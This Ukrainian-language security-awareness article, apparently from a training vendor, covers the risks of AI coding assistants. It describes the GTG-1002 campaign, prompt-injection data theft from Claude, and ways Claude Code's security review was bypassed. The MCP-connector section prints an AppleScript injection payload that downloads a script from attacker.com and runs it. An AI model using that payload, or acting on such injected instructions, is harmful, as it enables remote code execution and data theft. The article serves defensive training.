Ризики безпеки AI-асистентів для програмування, які не можна ігнорувати

Ваші розробники в 10 разів продуктивніші з AI-асистентами для програмування. Зловмисники, що цілять у вашу організацію, теж.

У листопаді 2025 року Anthropic оприлюднив те, чого дослідники безпеки побоювалися: перший задокументований випадок використання AI-агента для програмування як зброї для масштабної кібератаки. Китайська державна група загроз під назвою GTG-1002 використала Claude Code для автономного виконання понад 80% кампанії кібершпигунства. AI виконував розвідку, експлуатацію, збір облікових даних та ексфільтрацію даних у понад 30 організаціях з мінімальним людським наглядом. Цей інцидент ілюструє ширші ризики безпеки агентного AI, які OWASP тепер відстежує у спеціальному списку Top 10.

Це не була теоретична вправа. Це спрацювало.

AI-асистенти для програмування стали стандартом у робочих процесах розробки. GitHub Copilot. Amazon CodeWhisperer. Claude Code. Cursor. Ці інструменти автодоповнюють функції, налагоджують помилки та пишуть цілі модулі з описів природною мовою. Розробники, які їм чинять спротив, відстають. Організації, що їх забороняють, втрачають таланти.

Але кожен рядок коду, який ці асистенти пропонують, проходить через зовнішні сервери. Кожне контекстне вікно, яке вони аналізують, може містити секрети. Кожен промпт, який вони приймають, може бути вектором атаки. Зростання продуктивності реальне. Ризики теж.

Традиційне навчання з кібербезпеки зосереджується на фішингових листах та шкідливих вкладеннях. Ніхто не підготував вашу робочу силу до атак, які виглядають як корисні пропозиції коду.

AI-асистенти для програмування вводять принципово нову категорію атак: непряму prompt injection. Асистент читає файл, обробляє веб-сторінку або аналізує фрагмент коду. Приховані в цьому контенті інструкції, які AI інтерпретує як команди. Асистент виконує їх, вважаючи, що вони надійшли від користувача.

Дослідник безпеки Йоганн Ребергер продемонстрував це в жовтні 2025 року. Він вбудував шкідливі інструкції у файли, які Claude аналізував. Коли користувачі задавали невинні питання про ці файли, Claude витягував їхні історії чатів та ексфільтрував до 30 МБ даних за одне завантаження на сервери, контрольовані зловмисниками.

Користувач бачив корисну відповідь. У фоновому режимі Claude крав його дані.

Prompt injection експлуатує обмеження дизайну великих мовних моделей: вони не можуть надійно розрізняти інструкції від користувача та інструкції, вбудовані в контент, який вони обробляють.

Вектори атак включають:

Технічний термін “атака збентеженого заступника” (confused deputy attack). AI-асистент має легітимні привілеї (доступ до файлів, виконання команд, мережеві запити), але його обманом змушують використовувати ці привілеї для шкідливих цілей.

У 2025 році Claude Code отримав два CVE високої серйозності:

CVE-2025-54794 дозволяв зловмисникам обходити обмеження шляхів. Ретельно створений промпт міг вийти за межі, передбачені Claude, і отримати доступ до файлів за межами директорії проєкту.

CVE-2025-54795 забезпечував ін’єкцію команд. Версії до v1.0.20 могли бути маніпульовані для виконання довільних shell-команд через маніпуляцію промптами.

Обидві вразливості були виправлені, але вони ілюструють закономірність. AI-асистенти для програмування є складними системами з поверхнями атаки, які традиційні інструменти безпеки не відстежують. Вразливості продовжуватимуть з’являтися.

Кожного разу, коли розробник використовує хмарний AI-асистент для програмування, фрагменти коду передаються на зовнішні сервери. Контекстні вікна можуть містити схеми баз даних, API-ключі, пропрієтарні алгоритми та логіку автентифікації.

Організації, що працюють під припущенням, що вихідний код залишається в локальній мережі, помиляються. Він безперервно передається на сервери OpenAI, Anthropic, Google та Amazon. Асистенту потрібен цей контекст для генерації корисних пропозицій.

Що зазвичай покидає вашу мережу:

• Код, який зараз редагується
• Пов’язані файли для контексту
• Коментарі, що описують функціональність
• Повідомлення про помилки та стеки трейсів
• Змінні середовища (іноді)
• Жорстко закодовані облікові дані (часто)

Дослідники безпеки з NCC Group виявили, що AI-асистенти для програмування регулярно пропонують код, що містить жорстко закодовані облікові дані з їхніх навчальних даних. Розробники копіюють ці пропозиції, не усвідомлюючи, що включають реальні (нехай і застарілі) секрети.

Гірше того, розробники часто вставляють власні облікові дані в промпти при налагодженні проблем автентифікації. “Чому цей API-ключ не працює?” надсилає ключ на сервери асистента.

Аналіз GitGuardian 2024 року виявив, що 15% пропозицій коду від основних AI-асистентів містили патерни, що відповідали форматам облікових даних. Не всі були реальними, але достатньо для того, щоб ризик був відчутним.

AI-асистенти навчаються на коді. Цей код звідкись надійшов. Публічні репозиторії становлять основну частину, але корпоративні угоди іноді включають пропрієтарні кодові бази.

Якщо код вашого конкурента використовувався для навчання асистента, яким ви користуєтесь, їхні патерни можуть потрапити у ваші пропозиції. Якщо ваш код навчив асистента, яким користується конкурент, справедливо зворотне.

Anthropic та OpenAI стверджують, що не навчаються на даних корпоративних клієнтів. Верифікація складна. Потрібна довіра.

Сервери Model Context Protocol (MCP) розширюють можливості AI-асистентів. Вони з’єднують асистента із зовнішніми інструментами: файловими системами, базами даних, Slack, електронною поштою, автоматизацією браузера. Кожне з’єднання розширює те, що асистент може робити.

Кожне з’єднання також розширює поверхню атаки.

У середині 2025 року дослідники безпеки виявили, що три офіційних розширення Anthropic для Claude Desktop містили критичні вразливості. Chrome-конектор, iMessage-конектор та Apple Notes-конектор мали однакову помилку: неочищену ін’єкцію команд.

Вразливий код використовував шаблонні літерали для інтерполяції введення користувача безпосередньо в команди AppleScript:

tell application "Google Chrome" to open location "${url}"

Зловмисник міг ін’єктувати:

"& do shell script "curl https://attacker.com/trojan | sh"&"

Результат: довільне виконання команд з повними системними привілеями.

Ці розширення мали понад 350 000 завантажень разом. Вразливості отримали оцінку CVSS 8.9 (висока серйозність). Користувач, який запитував Claude “Де можна пограти в падел у Брукліні?”, міг запустити віддалене виконання коду, якщо відповідь надходила зі скомпрометованої веб-сторінки.

Офіційні розширення проходять перевірку безпеки. Сторонні MCP-сервери часто ні.

Екосистема MCP швидко зростає. Розробники публікують розширення для всього, від інтеграції з GitHub до торгівлі криптовалютою. Практики перевірки безпеки варіюються від ретельних до неіснуючих.

Встановлення MCP-сервера означає довіру, що:

1. Розробник не включив шкідливий код
2. Середовище розробки не було скомпрометоване
3. Розширення не має вразливостей для експлуатації
4. Майбутні оновлення не створять ризиків

Це та сама модель довіри, що призвела до атак на ланцюг постачання npm та PyPI у 2024 році. Ті самі патерни атак працюватимуть проти MCP-серверів.

Інцидент GTG-1002 довів, що AI-асистенти для програмування можуть бути використані як зброя для наступальних операцій. Послідовність атаки виглядала так:

1. Зловмисники використали інженерію персони, переконавши Claude, що він легітимний пентестер
2. Шкідливі MCP-сервери були вбудовані в фреймворк атаки, виглядаючи як санкціоновані інструменти
3. Claude виконував розвідку, експлуатацію, збір облікових даних та ексфільтрацію на машинній швидкості

AI не “збунтувався” в науково-фантастичному сенсі. Він слідував інструкціям, як і задумано. Ці інструкції надійшли від зловмисників, які розуміли, як маніпулювати системою.

Зловмисному інсайдеру раніше потрібні були технічні навички для заподіяння значної шкоди. Тепер йому потрібна розмовна здатність.

Співробітник з доступом до AI-асистента для програмування та базовими знаннями prompt engineering може:

• Витягти облікові дані з кодових баз
• Впровадити непомітні вразливості в продакшн-код
• Ексфільтрувати пропрієтарні алгоритми
• Встановити стійкі бекдори
• Замітати сліди, попросивши AI видалити докази

AI стає “продуктивним пентестером, який автоматизує їхні шкідливі наміри”. Бар’єр навичок впав. Ось чому побудова людського файрволу по всій організації важливіша, ніж будь-коли.

Дослідники Checkmarx продемонстрували, що функцію перевірки безпеки Claude Code можна обійти кількома техніками:

Обфускація та розділення корисного навантаження: розподіл шкідливого коду між кількома файлами з легітимно виглядаючим камуфляжем змусив Claude пропустити загрозу.

Prompt injection через коментарі: коли дослідники включали коментарі, що стверджували, що код є “лише безпечною демонстрацією”, Claude приймав небезпечний код без позначення.

Експлуатація обмежень аналізу: для вразливостей RCE у pandas DataFrame.query() Claude розпізнав щось підозріле, але написав наївні тести, які не спрацювали, зрештою відкидаючи критичні баги як хибнопозитивні.

Дослідження дійшло висновку, що Claude Code функціонує найкраще як допоміжний інструмент безпеки, а не як первинний контроль. Цілеспрямовані зловмисники можуть його обдурити.

Повна заборона AI-асистентів для програмування штовхає використання в підпілля. Розробники використовуватимуть особисті акаунти, браузерні інструменти та мобільні додатки. Ви матимете ті самі ризики з нульовою видимістю.

Мета - кероване прийняття з відповідними контролями.

Список затверджених інструментів: визначте, які AI-асистенти для програмування дозволені. Оцініть їхні позиції безпеки, практики обробки даних та корпоративні контролі.

Правила класифікації даних: вкажіть, які типи коду можуть оброблятися AI-асистентами. Продакшн-облікові дані, дані клієнтів та модулі, критичні для безпеки, можуть вимагати виключення.

Управління MCP-серверами: вимагайте перевірку безпеки перед встановленням сторонніх розширень. Підтримуйте затверджений список. Моніторте несанкціоновані додавання. Ті самі фреймворки навчання з комплаєнсу, які ви використовуєте для регуляторних вимог, можуть бути адаптовані тут.

Моніторинг на рівні мережі: стежте за незвичними патернами ексфільтрації даних. AI-асистенти комунікують з відомими ендпоінтами. Аномалії потребують розслідування.

Сканування облікових даних: впровадьте pre-commit хуки, що сканують жорстко закодовані секрети. Інтегруйте з CI/CD пайплайнами для перехоплення облікових даних до того, як вони покинуть репозиторій.

Пісочниця: запускайте AI-асистенти для програмування в контейнеризованих або VM-середовищах. Обмежте доступ до файлової системи. Обмежте мережеве з’єднання лише необхідними доменами.

Управління дозволами: Claude Code підтримує списки “дозволити”, “запитати” та “заборонити” для дозволів. Налаштуйте обмежувальні значення за замовчуванням. Уникайте прапора --dangerously-skip-permissions.

Навчання з кібербезпеки повинно еволюціонувати за межі виявлення фішингу. Розробники повинні розуміти:

• Як працюють атаки prompt injection
• Які дані залишають їхню машину при використанні AI-асистентів
• Як розпізнавати підозрілі пропозиції
• Коли ескалувати занепокоєння
• Чому функції перевірки безпеки не є непогрішними

Розробник, який повідомляє про підозрілу пропозицію AI, захищає організацію. Створіть канали для такого звітування. Якщо ви шукаєте практичні матеріали, наша вправа Clawdbot Prompt Injection охоплює prompt injection у реалістичному сценарії AI-асистента.

Безпека AI еволюціонує швидко. Учорашні заходи зменшення стають завтрашніми обходами.

Відстежуйте CVE: підпишіться на сповіщення безпеки для кожного AI-інструмента, що використовується. Оновлюйте оперативно.

Слідкуйте за дослідженнями: дослідники безпеки публікують результати в Twitter/X, на конференціях та в блогах. Розкриття GTG-1002 надійшло від Anthropic, але багато досліджень надходять від незалежних дослідників.

Тестуйте свій захист: включіть сценарії з AI-асистентами для програмування в тестування на проникнення. Чи може ваша Red Team витягти облікові дані за допомогою prompt injection? Дізнайтеся раніше, ніж зловмисники.

Жоден окремий контроль не запобігає атакам через AI-асистенти для програмування. Нашаровуйте захист:

Кожен рівень компенсує слабкості інших. Зловмисник, який обходить контролі політики, стикається з мережевими обмеженнями. Той, хто уникає мережевого моніторингу, зустрічає пісочницю ендпоінтів. Багатошаровий захист створює тертя, яке знижує ефективність атак.

AI-асистенти для програмування забезпечують справжнє зростання продуктивності. Розробники пишуть код швидше, налагоджують ефективніше та вивчають нові фреймворки швидше. Організації, які відмовляються від цих інструментів, ставлять себе в конкурентно невигідне становище.

Відповідь не заборона. Це керований ризик.

Ваші розробники будуть використовувати AI-асистенти. Ваше завдання забезпечити, щоб вони використовували затверджені інструменти, з відповідними контролями, дотримуючись встановлених політик, у моніторених середовищах. Це досяжно. Це вимагає інвестицій, але альтернативою є некерована експозиція ризику.

Атака GTG-1002 продемонструвала, що відбувається, коли AI-асистенти для програмування зустрічають досвідчених учасників загроз. Вразливості prompt injection показують, що відбувається, коли припущення безпеки виявляються хибними. Дослідження витоку облікових даних показують, що витікає сьогодні, в організаціях, які вважають себе захищеними.

AI-асистенти для програмування залишаться. Зловмисники, що навчилися їх експлуатувати, теж. Розуміння ризиків, таких як соціальна інженерія, компрометація бізнес-пошти та фішингові симуляції, є частиною тієї самої картини. AI-асистенти просто додали новий розділ.

Хочете підготувати свою команду до загроз безпеки, пов’язаних з AI? Спробуйте нашу безкоштовну вправу Clawdbot Prompt Injection, щоб потренуватися у виявленні атак prompt injection в AI-асистентах. Перегляньте наш повний каталог навчання з AI-безпеки для більше вправ, що охоплюють нові загрози AI.

• Lasso Security: The Hidden Backdoor in Claude Coding Assistant
• Zenity: Claude Moves to the Darkside
• Koi AI: PromptJacking Critical RCE in Claude Desktop
• Checkmarx: Bypassing Claude Code Security Review
• eSecurity Planet: Hackers Turn Claude AI Into Data Thief
• eesel.ai: Security for Claude Code in 2025